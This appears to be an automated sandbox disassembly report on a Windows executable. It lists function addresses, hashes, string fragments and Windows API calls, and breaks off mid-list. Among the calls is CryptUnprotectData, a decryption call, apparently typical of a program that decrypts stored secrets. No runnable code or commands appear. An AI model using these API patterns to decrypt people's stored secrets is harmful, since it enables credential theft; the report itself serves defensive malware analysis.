Instruction ID: 0ffc7522c23f8a274c852790d300d4ae8f0f6359cc75e8d29a84a76e1c1b5d9b
Opcode Fuzzy Hash: 4534ada02ca61408c4586b90e798ad27e9aec8a4a21aef0655158306e10537ac
Instruction Fuzzy Hash: 3201E975A14308EBDF20DFA5DD48BEDB7B8EB08701F10458CE50996280EB709B40DF50

Function 00CA4573 Relevance: 7.3, Strings: 2, Instructions: 4819COMMON

Download Yara Rule

Strings

huzx, xrefs: 00CA48F0
<7\h, xrefs: 00CA4752

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <7\h$huzx
API String ID: 0-2989614873
Opcode ID: 1d306a64b32ec80efcd30ebbf21bf8be57d4a3a31a1eaaf5b560232c1a76f8cf
Instruction ID: fca3dca083d09b05dbaf72822bf328ba4bb1215a08fc7537399e5e58001186ac
Opcode Fuzzy Hash: 1d306a64b32ec80efcd30ebbf21bf8be57d4a3a31a1eaaf5b560232c1a76f8cf
Instruction Fuzzy Hash: 4963863241EBD61ECB27CF3047B62917F66BA1321831D8ACEC4D18F5B3C6949A16E356

Function 00C99030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00C851D4,40000001,00000000,00000000,?,00C851D4), ref: 00C99050

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: f677e76f8046673077448717ff90f9fa6b0994b704d74d91751c9034bd775912
Instruction ID: b104069a1b9c71d2e19c1d133f62f190be7dcd5434b6743806080e53f4702d7c
Opcode Fuzzy Hash: f677e76f8046673077448717ff90f9fa6b0994b704d74d91751c9034bd775912
Instruction Fuzzy Hash: FC110A70204308FFDF00DF59D889FAB33A9EF8A311F109448FA298B250D772E9419B60

Function 00C8A210 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C84F3E,00000000,00000000), ref: 00C8A23F
LocalAlloc.KERNEL32(00000040,?,?,?,00C84F3E,00000000,?), ref: 00C8A251
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C84F3E,00000000,00000000), ref: 00C8A27A
LocalFree.KERNEL32(?,?,?,?,00C84F3E,00000000,?), ref: 00C8A28F

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 083cfbe814bd77ea99b38e9f3f11b2613586d7d73478f0954fed3d4399f1f522
Instruction ID: 13428e13720311803a8e3b4d16c59be79141a1b6d1a4a7bd3072c57374ef13ae
Opcode Fuzzy Hash: 083cfbe814bd77ea99b38e9f3f11b2613586d7d73478f0954fed3d4399f1f522
Instruction Fuzzy Hash: 4711D474240308AFEB10DF64DC95FAA77B5EB88B15F208089FE199B390C772AA41CB54

Function 00C97BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0152DB48,00000000,?,00CA0DF8,00000000,?,00000000,00000000), ref: 00C97BF3
RtlAllocateHeap.NTDLL(00000000), ref: 00C97BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0152DB48,00000000,?,00CA0DF8,00000000,?,00000000,00000000,?), ref: 00C97C0D
wsprintfA.USER32 ref: 00C97C47

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 5b927367cb47519fbfb654d1bcad52a16d6594a7137cdccdf39ac2248a2093b6
Instruction ID: 7a7f4660ef283be8047f1c7b87488b4ae6346e1f1c442c20ad3ac3bd8ba6df5c
Opcode Fuzzy Hash: 5b927367cb47519fbfb654d1bcad52a16d6594a7137cdccdf39ac2248a2093b6
Instruction Fuzzy Hash: 7411A1B190A318EBEB209B55DD49FA9B778FB44711F1003E5F61AA32D0DB745E409F50

Function 010D66C9 Relevance: 5.7, Strings: 4, Instructions: 653COMMON

Download Yara Rule

Strings

T;8, xrefs: 010D67CC
to=, xrefs: 010D68B8
7L^O, xrefs: 010D6E7F
JU., xrefs: 010D674E

Memory Dump Source

Source File: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7L^O$T;8$to=$JU.
API String ID: 0-3591199257
Opcode ID: 9808a581958dbafa64386bac1e6c766fe9c543167bd7f38f1400c13b86bfede2
Instruction ID: 1a601e52411f8448d3afbf90e6fe8270c043130b561e814cac8ddbae9366ecbe
Opcode Fuzzy Hash: 9808a581958dbafa64386bac1e6c766fe9c543167bd7f38f1400c13b86bfede2
Instruction Fuzzy Hash: 4B12F5F390C210AFE7046E2DEC8566ABBE5EF94320F1A4A3DEAC4C7744E63558058797

Function 010D3F90 Relevance: 5.3, Strings: 3, Instructions: 1595COMMON

Download Yara Rule

Strings

Y\=, xrefs: 010D40CA
?>], xrefs: 010D4D26
GaoE, xrefs: 010D467D

Memory Dump Source

Source File: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?>]$GaoE$Y\=
API String ID: 0-3927692836
Opcode ID: 6fb4ec97bee8dc214068cfd7ddc2d5908dcd1e8091028d487858f63ccd49ba56
Instruction ID: efa54a06c02d2ead96279d11cc734d7c6a6609eb4b7d32dd773fb49511b32461
Opcode Fuzzy Hash: 6fb4ec97bee8dc214068cfd7ddc2d5908dcd1e8091028d487858f63ccd49ba56
Instruction Fuzzy Hash: 9AB208F3A0C210AFE3046E2DEC8567ABBE9EF94720F16493DEAC4C3744E63558058697

Function 010DC997 Relevance: 5.2, Strings: 3, Instructions: 1433COMMON

Download Yara Rule

Strings

a^aa, xrefs: 010DD6E8
/h, xrefs: 010DCB3A
G~q, xrefs: 010DD379

Memory Dump Source

Source File: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: a^aa$G~q$/h
API String ID: 0-28058989
Opcode ID: 5f118ac7241cfa3cf64bc4f80874fbb0d522f08b0484dc9077ef6f22d58a2976
Instruction ID: c01e04a651f7d8b3c25b11e300052487d50b3fc4bddfa0d5b30a946a6879c626
Opcode Fuzzy Hash: 5f118ac7241cfa3cf64bc4f80874fbb0d522f08b0484dc9077ef6f22d58a2976
Instruction Fuzzy Hash: 11A2D4F3A0C2009FE704AE29EC8567AFBE5EF94720F16893DE6C587344EA3558058797

Function 010E002E Relevance: 5.1, Strings: 3, Instructions: 1378COMMON

Download Yara Rule

Strings

HroJ, xrefs: 010E0B77
u\, xrefs: 010E00E8
Kw, xrefs: 010E06A3

Memory Dump Source

Source File: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: u\$HroJ$Kw
API String ID: 0-2923540231
Opcode ID: 6d7277bae33ba28a51242f5d9ba53783d288243cac2aea8d6c790ddacc8f0c6a
Instruction ID: 5050ab236a371d76d634d0b04c52a1e522b2687842ac85eb65611a122d737b57
Opcode Fuzzy Hash: 6d7277bae33ba28a51242f5d9ba53783d288243cac2aea8d6c790ddacc8f0c6a
Instruction Fuzzy Hash: AE92F5F3A08204AFE704AE2DDC8567ABBE5EF94720F16893DEAC4C7344E63558418797

Function 00C93970 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00C9E120,00000000,00000001,00C9E110,00000000), ref: 00C939A8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00C93A00

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: ee7841ed2226257b0f6bf31bda5905b1ff35e5a2c083fe93bd92c3891d29a8dc
Instruction ID: 1a4d71798cef2687512d1412a880bb8ee76055f89034678402a69aed26f61b80
Opcode Fuzzy Hash: ee7841ed2226257b0f6bf31bda5905b1ff35e5a2c083fe93bd92c3891d29a8dc
Instruction Fuzzy Hash: 3E41E870A40A289FDB24DB58CC99F9BB7B5BB48702F4041D8E618E72E0D7B16E85CF50

Function 00C8A2B0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00C8A2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00C8A2F3
LocalFree.KERNEL32(?), ref: 00C8A323

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: fc919d0ed911ac3edea2a8b8e11b7c7d86166984c046e6b11f8aae4b82ef877b
Instruction ID: 2b3092e9ac3272bac587a8086c65ae64781ac68e00bbc58f4e01bd6c8a7bf189
Opcode Fuzzy Hash: fc919d0ed911ac3edea2a8b8e11b7c7d86166984c046e6b11f8aae4b82ef877b
Instruction Fuzzy Hash: 8F11D3B8A00209EFDB04DFA4D884AAEB7B5FB89305F104559E915A7350D770AA50CB61

Function 010D74CA Relevance: 4.1, Strings: 2, Instructions: 1645COMMON

Download Yara Rule

Strings

Ze'f, xrefs: 010D8745
&ra_, xrefs: 010D7869

Memory Dump Source

Source File: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &ra_$Ze'f
API String ID: 0-2306317784
Opcode ID: 2607e61c034cfa94173ea2481d9aaf1553f4af4ba4d98a9fea3eb64867ef748a
Instruction ID: e5e92c41a632f49cf6d0b5261b87c9f8eac7e9fc5338439f890af452d94aef96
Opcode Fuzzy Hash: 2607e61c034cfa94173ea2481d9aaf1553f4af4ba4d98a9fea3eb64867ef748a
Instruction Fuzzy Hash: 6DB259F3A0C2049FE3046E2DEC45A7ABBE9EF94720F16463DEAC4C7744EA3558058796

Function 010EB839 Relevance: 4.1, Strings: 2, Instructions: 1615COMMON

Download Yara Rule

Strings

Rk~, xrefs: 010EC227
%r>y, xrefs: 010EC583

Memory Dump Source

Source File: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
